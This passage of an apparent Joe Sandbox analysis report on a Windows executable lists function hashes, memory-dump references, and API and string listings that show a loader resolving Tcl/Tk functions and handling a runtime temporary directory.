Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 1f9e0516fd534d967cb731c121838b59470578846d262458ea046ba55ab40ebf
Instruction ID: 4886f7a5e88d53093addc9dcf6dd44dc0a333995f75a1148e10956d6a96c02c7
Opcode Fuzzy Hash: 1f9e0516fd534d967cb731c121838b59470578846d262458ea046ba55ab40ebf
Instruction Fuzzy Hash: 2FB09221E0FB42C2EA082B296C8221832A47F58700F980138C24D90330EE2D20F56700

Function 00007FF6B75135A0 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eca4e5ff3e7205525bf20f3b63783aa462e3e7adb0228d62bb7e98ab9f5e9bb
Instruction ID: 93d30d9330703bb54f83c702ebacac93653509756b283a2224f250cbd598e58e
Opcode Fuzzy Hash: 5eca4e5ff3e7205525bf20f3b63783aa462e3e7adb0228d62bb7e98ab9f5e9bb
Instruction Fuzzy Hash: F2D1AA77A0C6A286EB688F2D806067D27A0AB45B49F254239CF0D87FB5DF3DE945C740

Function 00007FF6B7509800 Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e75d751cc15dfd510e55d83c6141b0e8cb11d18cbed01e0c543b372a0114c593
Instruction ID: 3bdec0aff116ea5f2195a02f7795df88b9dd7369bd0b0709ea2903afbe819607
Opcode Fuzzy Hash: e75d751cc15dfd510e55d83c6141b0e8cb11d18cbed01e0c543b372a0114c593
Instruction Fuzzy Hash: 6FC19D762181E08BD28AEB29E4794BA73E1F78930DB95406BEF87477C5CB3CA414DB10

Function 00007FF6B7512C10 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa73bfa000bc8cd66a05f12d530b76a597660d7bda6a6781f52cf2f49ffced0b
Instruction ID: b8186916a7a7b0fdadd1537f5189750fec0eb3dbda852a7e522226e3b00c7316
Opcode Fuzzy Hash: aa73bfa000bc8cd66a05f12d530b76a597660d7bda6a6781f52cf2f49ffced0b
Instruction Fuzzy Hash: 95B14D73A0C7A985E7658F2DC45027C3BA0EB49B49F284239CB4E87BA5CF39D642C745

Function 00007FF6B751E570 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9611c2e0762efa78d7f6da3d8515592aa8d86601c49200b7335873453b670326
Instruction ID: 24be17837fb870d6ec28def5981927c6b35f4e96fea805c0ade4400fc678fd59
Opcode Fuzzy Hash: 9611c2e0762efa78d7f6da3d8515592aa8d86601c49200b7335873453b670326
Instruction Fuzzy Hash: AD81B173A0C7918AEB74CF1DA49036A6A91FB45796F544235DB9D83FA9DF3CE4808B00

Function 00007FF6B7526418 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 15e29a2b048034b7d11d1b87b7baa88ea743f66ca2db996e50da050e1c2114ce
Instruction ID: a1860a0f502537ca4a19840db6f08710e39de27cceefa18e1387818d1d3b1c93
Opcode Fuzzy Hash: 15e29a2b048034b7d11d1b87b7baa88ea743f66ca2db996e50da050e1c2114ce
Instruction Fuzzy Hash: 2161CF23F1C29246FB648B6D9450A7D6691EF41760F584239EB6FC3EE5DE6EE8408B00

Function 00007FF6B7511D54 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27099d1c67046ba5536a5c52bb1b19252402c8bb4a5167aa336477e7b6d5f807
Instruction ID: 86c7fd914bba617098c90e4d8e2cc3d875e15962e82ef2b8d7d14b1f7df4e83b
Opcode Fuzzy Hash: 27099d1c67046ba5536a5c52bb1b19252402c8bb4a5167aa336477e7b6d5f807
Instruction Fuzzy Hash: B3517077A1CA6186EB648F2DC04022837A0EB45B69F248275DF4D97BE4CF3AE853C740

Function 00007FF6B7512164 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e69dfdcc94a0aa650623f7423aa354004c1f2fa01d5c1268249020d4c21f447
Instruction ID: 8d03e417a184b44e0df5f6f3771f924942ba28921513dd3842cd7ba1b0f0f274
Opcode Fuzzy Hash: 8e69dfdcc94a0aa650623f7423aa354004c1f2fa01d5c1268249020d4c21f447
Instruction Fuzzy Hash: 9B516037B1C66986E7248F2DC44026C33A1EB58B59F254131CB5D87BA4CF3AEA53C780

Function 00007FF6B7511944 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68a3f5aab59b2fac328bd6ba34d5b1cd1fa94c6914f84dc4a79da3b9d8ff9a98
Instruction ID: 8e1d96951b261ff9eb1306e4a9522c60d1d91cd03db06203923b6e833e419e01
Opcode Fuzzy Hash: 68a3f5aab59b2fac328bd6ba34d5b1cd1fa94c6914f84dc4a79da3b9d8ff9a98
Instruction Fuzzy Hash: 9E516E77A1CA6186E7248F2DD04063937A1EB44B69F244171CB9D97BB4DF3AE853C780

Function 00007FF6B7511F60 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e734bc54909bdf7d9c6fd1772be64da5dc64d4f5bf3044a39ac3ba7850561882
Instruction ID: b138f6bc8c52181844144a55229968c6f48ec0f2f32b9e065b88623ed96110ad
Opcode Fuzzy Hash: e734bc54909bdf7d9c6fd1772be64da5dc64d4f5bf3044a39ac3ba7850561882
Instruction Fuzzy Hash: C6514B37B1C66986E7248F2DC44463827A1EB44B99F254131DF4D97BA9CF3AE943C780

Function 00007FF6B7511740 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3943df286285c50b07f09d339b53caaa0afa34ddfac4fad96d8a3f7ffd6ad23b
Instruction ID: 9307ee65e2be1d8290b0f11c641d0d9c49b274adfb5692bd97dc222d05d6deb6
Opcode Fuzzy Hash: 3943df286285c50b07f09d339b53caaa0afa34ddfac4fad96d8a3f7ffd6ad23b
Instruction Fuzzy Hash: C7514B37A1C67586EB248F2DD04422827A1EB45B59F288171CF4D97FA9CF3AEC42C780

Function 00007FF6B7511B50 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc981bf603441a130e1c6ba5e96f77be0c3c60e19ec03e3d560a09712d731568
Instruction ID: e9fd62b0811e99b0ec754811abe9e054540589ed1055f077bfb323abdf37eebf
Opcode Fuzzy Hash: dc981bf603441a130e1c6ba5e96f77be0c3c60e19ec03e3d560a09712d731568
Instruction Fuzzy Hash: 64514C77A2CA6186E7648F2DD04032827A1EB45B5AF249171DB4D97BA4DF3AEC82C740

Function 00007FF6B7515D30 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction ID: f68509b52574d0eee6db8f0e0fb182b962567b6c6a8a107848a9e0d0c2a8d926
Opcode Fuzzy Hash: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction Fuzzy Hash: F9418363C0D76A05E9E98F1C45086B426809F127A2F5897B8DFAD97BE3CD3D7696C300

Function 00007FF6B7519EA0 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 1c7003d4bfacf113f63307708dabd17e5ede6cda44dccf6aa27d02a6b9ea0481
Instruction ID: 00b264eea01942eb10c0a86702d5511ee60d723e42bc5f3da9e883a24b026d2f
Opcode Fuzzy Hash: 1c7003d4bfacf113f63307708dabd17e5ede6cda44dccf6aa27d02a6b9ea0481
Instruction Fuzzy Hash: C441E473718A5586EF04CF2ADA14669A3A1BB48FD0B499036EF0DDBB64DE3DD4428700

Function 00007FF6B75180E4 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12404f4f4f1323fea4d4e583727f71dd7b5a0d93f2e51056eadc76cf5c92dd81
Instruction ID: 2f2cebe4ae087b06eeb9cec559b20465ad06dbcb2a0b77608e8ab90962f32367
Opcode Fuzzy Hash: 12404f4f4f1323fea4d4e583727f71dd7b5a0d93f2e51056eadc76cf5c92dd81
Instruction Fuzzy Hash: A931B133B0DB5241E6649F29684017E6AD5AB85BA0F154238EB5DA3FE5DF3CE4028704

Function 00007FF6B7529570 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d3ac10822f6242d2b374fc0e1218152d8e80c351f0dfcd4fab21387456caa74
Instruction ID: 9391609090d55b071cf9008bde9fa29cd0f2bfba7650ba0586528ccf2a76392b
Opcode Fuzzy Hash: 5d3ac10822f6242d2b374fc0e1218152d8e80c351f0dfcd4fab21387456caa74
Instruction Fuzzy Hash: E5F044737182958ADB988F6DA40262977E0F748380F508039D689C3B28DE3C90619F04

Function 00007FF6B750D30C Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c3909751b2697c6481bc0460501d6177e5cf72f77169ad8285d6e0cd944102a
Instruction ID: b2eab3ffd21a65b0941281c5a3ba65fd7e8c70c399b238a8e5daeb3ea5235a85
Opcode Fuzzy Hash: 3c3909751b2697c6481bc0460501d6177e5cf72f77169ad8285d6e0cd944102a
Instruction Fuzzy Hash: 01A00273D0CE4ED0E6488B08E8900752330FB54304B800035E24DD10B0EF3DA404E300

Function 00007FF6B75076C0 Relevance: 177.1, APIs: 66, Strings: 35, Instructions: 314libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF6B75076D7
GetLastError.KERNEL32 ref: 00007FF6B75076E9
GetProcAddress.KERNEL32 ref: 00007FF6B7507725
GetLastError.KERNEL32 ref: 00007FF6B7507737
GetProcAddress.KERNEL32 ref: 00007FF6B7507750
GetLastError.KERNEL32 ref: 00007FF6B7507762
GetProcAddress.KERNEL32 ref: 00007FF6B750777B
GetLastError.KERNEL32 ref: 00007FF6B750778D
GetProcAddress.KERNEL32 ref: 00007FF6B75077A9
GetLastError.KERNEL32 ref: 00007FF6B75077BB
GetProcAddress.KERNEL32 ref: 00007FF6B75077D7
GetLastError.KERNEL32 ref: 00007FF6B75077E9
GetProcAddress.KERNEL32 ref: 00007FF6B7507805
GetLastError.KERNEL32 ref: 00007FF6B7507817
GetProcAddress.KERNEL32 ref: 00007FF6B7507833
GetLastError.KERNEL32 ref: 00007FF6B7507845
GetProcAddress.KERNEL32 ref: 00007FF6B7507861
GetLastError.KERNEL32 ref: 00007FF6B7507873

Strings

Tcl_EvalObjv, xrefs: 00007FF6B7507BEF, 00007FF6B7507C11
Tcl_Free, xrefs: 00007FF6B7507C4B, 00007FF6B7507C6D
Tcl_Alloc, xrefs: 00007FF6B7507C1D, 00007FF6B7507C3F
Tcl_DoOneEvent, xrefs: 00007FF6B7507771, 00007FF6B7507793
Tcl_ThreadAlert, xrefs: 00007FF6B75079F5, 00007FF6B7507A17
Tcl_FindExecutable, xrefs: 00007FF6B7507746, 00007FF6B7507768
Tcl_SetVar2Ex, xrefs: 00007FF6B7507B37, 00007FF6B7507B59
Tcl_CreateThread, xrefs: 00007FF6B7507829, 00007FF6B750784B
Failed to get address for %hs, xrefs: 00007FF6B75076F8
Tcl_GetCurrentThread, xrefs: 00007FF6B7507857, 00007FF6B7507879
Tcl_EvalEx, xrefs: 00007FF6B7507BC1, 00007FF6B7507BE3
Tk_Init, xrefs: 00007FF6B7507C79, 00007FF6B7507C9B
Tk_GetNumMainWindows, xrefs: 00007FF6B7507CA7, 00007FF6B7507CC9
GetProcAddress, xrefs: 00007FF6B75076FF
Tcl_SetVar2, xrefs: 00007FF6B7507A51, 00007FF6B7507A73
Tcl_CreateInterp, xrefs: 00007FF6B750771B, 00007FF6B750773D
Tcl_Init, xrefs: 00007FF6B75076D0, 00007FF6B75076EF
Tcl_ConditionFinalize, xrefs: 00007FF6B750793D, 00007FF6B750795F
Tcl_FinalizeThread, xrefs: 00007FF6B75077CD, 00007FF6B75077EF
Tcl_GetObjResult, xrefs: 00007FF6B7507B65, 00007FF6B7507B87
Tcl_MutexLock, xrefs: 00007FF6B75078B3, 00007FF6B75078D5
Tcl_NewStringObj, xrefs: 00007FF6B7507ADB, 00007FF6B7507AFD
Tcl_ConditionWait, xrefs: 00007FF6B7507999, 00007FF6B75079BB
Tcl_NewByteArrayObj, xrefs: 00007FF6B7507B09, 00007FF6B7507B2B
Tcl_GetString, xrefs: 00007FF6B7507AAD, 00007FF6B7507ACF
Tcl_GetVar2, xrefs: 00007FF6B7507A23, 00007FF6B7507A45
Tcl_CreateObjCommand, xrefs: 00007FF6B7507A7F, 00007FF6B7507AA1
Tcl_ConditionNotify, xrefs: 00007FF6B750796B, 00007FF6B750798D
Tcl_Finalize, xrefs: 00007FF6B750779F, 00007FF6B75077C1
Tcl_MutexFinalize, xrefs: 00007FF6B750790F, 00007FF6B7507931
Tcl_EvalFile, xrefs: 00007FF6B7507B93, 00007FF6B7507BB5
Tcl_MutexUnlock, xrefs: 00007FF6B75078E1, 00007FF6B7507903
Tcl_DeleteInterp, xrefs: 00007FF6B75077FB, 00007FF6B750781D
Tcl_JoinThread, xrefs: 00007FF6B7507885, 00007FF6B75078A7
Tcl_ThreadQueueEvent, xrefs: 00007FF6B75079C7, 00007FF6B75079E9

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 199729137-3427451314
Opcode ID: 939c8a0ebf27c7f5789cd4a10996167767bc86255d761b2ba34a42bc6fc861e3
Instruction ID: afbf8e44049606493b6a61ad48ef1a32b219ed5e998c9ce3becdb61ddd17fc57
Opcode Fuzzy Hash: 939c8a0ebf27c7f5789cd4a10996167767bc86255d761b2ba34a42bc6fc861e3
Instruction Fuzzy Hash: 9202E66AE0DB0B91FE169B5CE8149B423B5BF04789F540439CB6E822B4FF3CB55AD250

Function 00007FF6B75081D0 Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B7509390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6B75045F4,00000000,00007FF6B7501985), ref: 00007FF6B75093C9

ExpandEnvironmentStringsW.KERNEL32(?,00007FF6B75086B7,?,?,00000000,00007FF6B7503CBB), ref: 00007FF6B750822C

Part of subcall function 00007FF6B7502810: MessageBoxW.USER32 ref: 00007FF6B75028EA

Strings

CreateDirectory, xrefs: 00007FF6B750837C
LOADER: failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF6B7508203
LOADER: failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF6B7508240
LOADER: failed to create runtime-tmpdir path %ls!, xrefs: 00007FF6B7508373
%.*s, xrefs: 00007FF6B750830C
LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!, xrefs: 00007FF6B750829D
LOADER: failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF6B75082D9
\, xrefs: 00007FF6B7508261

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

